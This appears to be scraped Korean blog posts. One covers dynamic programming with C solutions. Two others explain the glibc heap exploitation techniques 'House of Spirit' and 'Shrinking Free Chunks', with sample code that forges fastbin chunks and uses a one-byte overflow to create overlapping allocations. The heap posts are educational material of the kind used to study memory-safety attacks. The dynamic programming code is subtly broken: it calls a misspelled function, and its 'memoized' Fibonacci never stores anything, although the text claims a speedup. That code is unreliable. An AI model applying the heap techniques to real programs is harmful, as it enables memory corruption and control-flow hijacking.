Dynamic Programming

동적 계획법(Dynamic Programming), 줄여서 DP는 특정 범위까지의 값을 구하기 위해 그것과 다른 범위까지의 값을 이용하여 효율적으로 값을 구하는 알고리즘 설계기법이다.



구현

동적 계획법의 접근 방식은 기본적으로 분할 정복 알고리즘과 비슷하다. 분할정복과 차이가 생기는 부분은 원래의 문제를 부분 문제로 나누는 방식에 있다. 동적 계획법의 경우 주어진 문제를 나눌 때 부분 문제를 최대한 많이 이용하도록 나눈 다음, 주어진 부분 문제의 정답을 한번만 계산하고 저장해둔 뒤 다시한 번 이 부분 문제를 이용할 때에는 저장해둔 정답을 바로 산출하여 이용함으로써 속도를 향상시킨다.



대표적인 예시

동적 계획법의 핵심이 되는 메모이제이션 코드이다. 



1. 재귀함수 형태의 피보나치 수열

1
2
3
4
5
6
7
8
int fibonnaci(int n){
    if(n <= 1){
        return n;
    }
    else{
        return fibonnaci(n - 1) + fobonacci(n - 2);
    }
}
cs




아래의 그림과 같이 위 함수를 사용하면 중복 계산되는 부분이 생기고 실행시간이 길어지게된다.







2. 메모이제이션을 이용한 피보나치 수열
1
2
3
4
5
6
7
8
9
10
11
12
13
 
int fibo_memo(int n){
    int memo[10] = { 0 };
    if(n <= 1){
        return n;
    }
    else if(memo[n] != 0){
        return memo[n];
    }
    else{
        return fibo_memo(n - 1) + fibo_memo(n - 2);
    }
}
cs



메모에 이전에 우선적으로 계산해 저장해 뒀던 값이 저장되어있다면 같은 계산을 반복하지 않고 그값을 사용하게 된다. 그래서 실행시간이 단축된다.




연습문제

https://www.acmicpc.net/problem/9095



Top-Down 방식





1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#include <stdio.h>
 
int N, i, answer;
int memo[11] = { 0 };
 
int fibo_memo(int n) {
    if (n <= 0) return 0;
    else if (n == 1) return 1;
    else if (n == 2) return 2;
    else if (n == 3) return 4;
    else {
        if (memo[n] != 0)
            return memo[n];
        else {
            memo[n] = fibo_memo(n - 1) + fibo_memo(n - 2) + fibo_memo(n - 3);
            return memo[n];
        }
    }
}
int main() {
    int T;
    
scanf("%d", &T);
    for (int i = 1; i <= T; i++) {
        
        scanf("%d", &N);
        answer = fibo_memo(N);
 
        printf("%d\n", answer);
 
    
    }
    return 0;
}
cs








Down-Top 방식




1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include <stdio.h>
 
int dp[1000001];
 
int min(int a, int b) {
    return a > b ? b : a;
}
 
int main() {
    int N;
    scanf("%d", &N);
    
    dp[1] = 0;
    
    for (int i = 2; i <= N; i++) {
        dp[i] = dp[i - 1] + 1;
        if (i % 3 == 0) {
            dp[i] = min(dp[i], dp[i / 3] + 1);
        }
        if (i % 2 == 0) {
            dp[i] = min(dp[i], dp[i / 2] + 1);
        }
    }
    printf("%d", dp[N]);
    return 0;
}
cs


'알고리즘' 카테고리의 다른 글

(1912)(DP) 백준 연속합  (0) 2018.07.12
(2156)(DP) 백준 포도주 시식  (0) 2018.07.12
(2579)(DP) 백준 계단오르기  (0) 2018.07.11
(1149)(DP) 백준 RGB거리  (0) 2018.07.10
(1932)(DP) 백준 숫자삼각형  (0) 2018.07.08

house of spirit

house of spirit은 공격자가 기존 포인터를 'free'하기 전에 덮어 쓰는 것과 관련하여 다른 공격과 약간 다르다. 공격자는 메모리(힙, 스택 등)의 어느 곳에서나 상주 할 수 있는 포인터를 덮어씁니다. 청크는 모든 보안 테스트를 통과 할 수 있는 방식으로 설계한다. 어렵지 않으며 크기와 다음 chunks 크기만 설정하면 된다. fake chunk가 free되면, 그것은 적절한 binlist에 삽입됩니다. 이 크기에 대한 malloc호출은  공격자의 fake chunk를 호출한다. 최종결과는 'forging chunks attack'과 유사하다. 


샘플 코드 : 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
struct fast_chunk {
  size_t prev_size;
  size_t size;
  struct fast_chunk *fd;
  struct fast_chunk *bk;
  char buf[0x20];                   // chunk falls in fastbin size range
};
 
struct fast_chunk fake_chunks[2];   // Two chunks in consecutive memory
// fake_chunks[0] at 0x7ffe220c5ca0
// fake_chunks[1] at 0x7ffe220c5ce0
 
void *ptr, *victim;
 
ptr = malloc(0x30);                 // First malloc
 
// Passes size check of "free(): invalid size"
fake_chunks[0].size = sizeof(struct fast_chunk);  // 0x40
 
// Passes "free(): invalid next size (fast)"
fake_chunks[1].size = sizeof(struct fast_chunk);  // 0x40
 
// Attacker overwrites a pointer that is about to be 'freed'
ptr = (void *)&fake_chunks[0].fd;
 
// fake_chunks[0] gets inserted into fastbin
free(ptr);
 
victim = malloc(0x30);              // 0x7ffe220c5cb0 address returned from malloc
cs


예상대로 반환된 포인터는 fake_chunks[0] 보다 16바이트 앞을 가리킨다. fd포인터가 저장된 주소다. 힙공간 대신에 스택의 메모리를 가리킨다.

공격자는 스택의 return 어드레스를 수정에서 exploit한다.


일반적으로 우리는 우리가 할당한 메모리에 데이터를 쓴다. 그렇기 때문에 만약 malloc이 반환하는 주소를 제어할 수 있다면, write-anything-anywhere를 실현할 수 있다.House of Spirit의 최종적인 효과는 공격자가 만든 가짜 청크를 fastbin을 통해 반환하게 하는 것이다.

'Heap' 카테고리의 다른 글

12.Shrinking Free Chunks  (0) 2018.06.19
11.Unlink Exploit  (0) 2018.06.11
10.Forging chunks  (0) 2018.06.07
09.Double Free  (0) 2018.06.07
08.First-fit behavior  (0) 2018.06.06

Shrinking Free Chunks

이 공격은 'Glibc adventures : The forgotten chunk'에 설명되어 있다. 그것은 단일 바이트의 힙 오버플로우를 사용한다.

공격의 목표는 'malloc'이 현재 사용중인 이미 할당 된 청크와 겹치는 청크를 반환하도록하는 것이다. 

먼저 3개의 연속 청크(a, b, c)가 할당되고 가운데 청크(b)가 free된 상태에서 1번째(a) chunk에서 overflow하여 2번째 청크(b)에 size 부분을 덮어쓰게 된다. 

공격차는 최하위 바이트를 0으로 설정한다. 이 'shrinks'는 청크 사이즈를 줄인다. (b의 사이즈를 0x208 -> 0x200으로) 그 다음 2개의 작은 청크(b1, b2)가 free된 중간의 청크로부터 할당된다. 

The third chunk's prev_size does not get updated as b + b->size no longer points to c. It, in fact, points to a memory region 'before' c.  

그런 다음 c와 함께 b1이 free됩니다. c는 여전히 b가 free라고 가정합니다. (prev_size가 없데이트되지 않았기 때문에 c -> c -> prev_size가 여전히 b를 가리킴) 그리고 자신(c)을 b로 통합한다.

 그 결과 b에서 시작하여 b2와 겹치는 큰 free chunk가 설정된다. 새로운 malloc은 이 큰 chunk를 반환하여 공격을 완료한다.


* unsortedbin은 FIFO! 인접한것이 오면 병합


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
struct chunk_structure {
  size_t prev_size;
  size_t size;
  struct chunk_structure *fd;
  struct chunk_structure *bk;
  char buf[19];               // padding
};
 
void *a, *b, *c, *b1, *b2, *big;
struct chunk_structure *b_chunk, *c_chunk;
 
// Grab three consecutive chunks in memory
a = malloc(0x100);                            // at 0xfee010
b = malloc(0x200);                            // at 0xfee120
c = malloc(0x100);                            // at 0xfee330
 
b_chunk = (struct chunk_structure *)(b - 2*sizeof(size_t));
c_chunk = (struct chunk_structure *)(c - 2*sizeof(size_t));
 
// free b, now there is a large gap between 'a' and 'c' in memory
// b will end up in unsorted bin
free(b);
 
// Attacker overflows 'a' and overwrites least significant byte of b's size
// with 0x00. This will decrease b's size.
*(char *)&b_chunk->size = 0x00;
 
// Allocate another chunk
// 'b' will be used to service this chunk.
// c's previous size will not updated. In fact, the update will be done a few
// bytes before c's previous size as b's size has decreased.
// So, b + b->size is behind c.
// c will assume that the previous chunk (c - c->prev_size = b/b1) is free
b1 = malloc(0x80);                           // at 0xfee120
 
// Allocate another chunk
// This will come directly after b1
b2 = malloc(0x80);                           // at 0xfee1b0
strcpy(b2, "victim's data");
 
// Free b1
free(b1);
 
// Free c
// This will now consolidate with b/b1 thereby merging b2 within it
// This is because c's prev_in_use bit is still 0 and its previous size
// points to b/b1
free(c);
 
// Allocate a big chunk to cover b2's memory as well
big = malloc(0x200);                          // at 0xfee120
memset(big, 0x41, 0x200 - 1);
 
printf("%s\n", (char *)b2);       // Prints AAAAAAAAAAA... !
  
cs


big은 초기 b청크를 가리키고 b2와 겹친다. 이 두 청크가 결코 free되지 않아도 big의 내용을 갱신하면 b2의 내용도 갱신된다.

b를 축소하는 대신 공격자는 b의 크기를 늘릴 수도 있다.

이경우 중복의 비슷한 케이스가 나타난다.

'malloc'이 증가된 크기의 다른 청크를 요청하면 b가 이 요청을 처리하는데 사용된다.

이제 c의 메모리도 이 새로운 청크의 일부가 될 것이다.

'Heap' 카테고리의 다른 글

13.House of spirit  (0) 2018.06.20
11.Unlink Exploit  (0) 2018.06.11
10.Forging chunks  (0) 2018.06.07
09.Double Free  (0) 2018.06.07
08.First-fit behavior  (0) 2018.06.06

+ Recent posts

티스토리툴바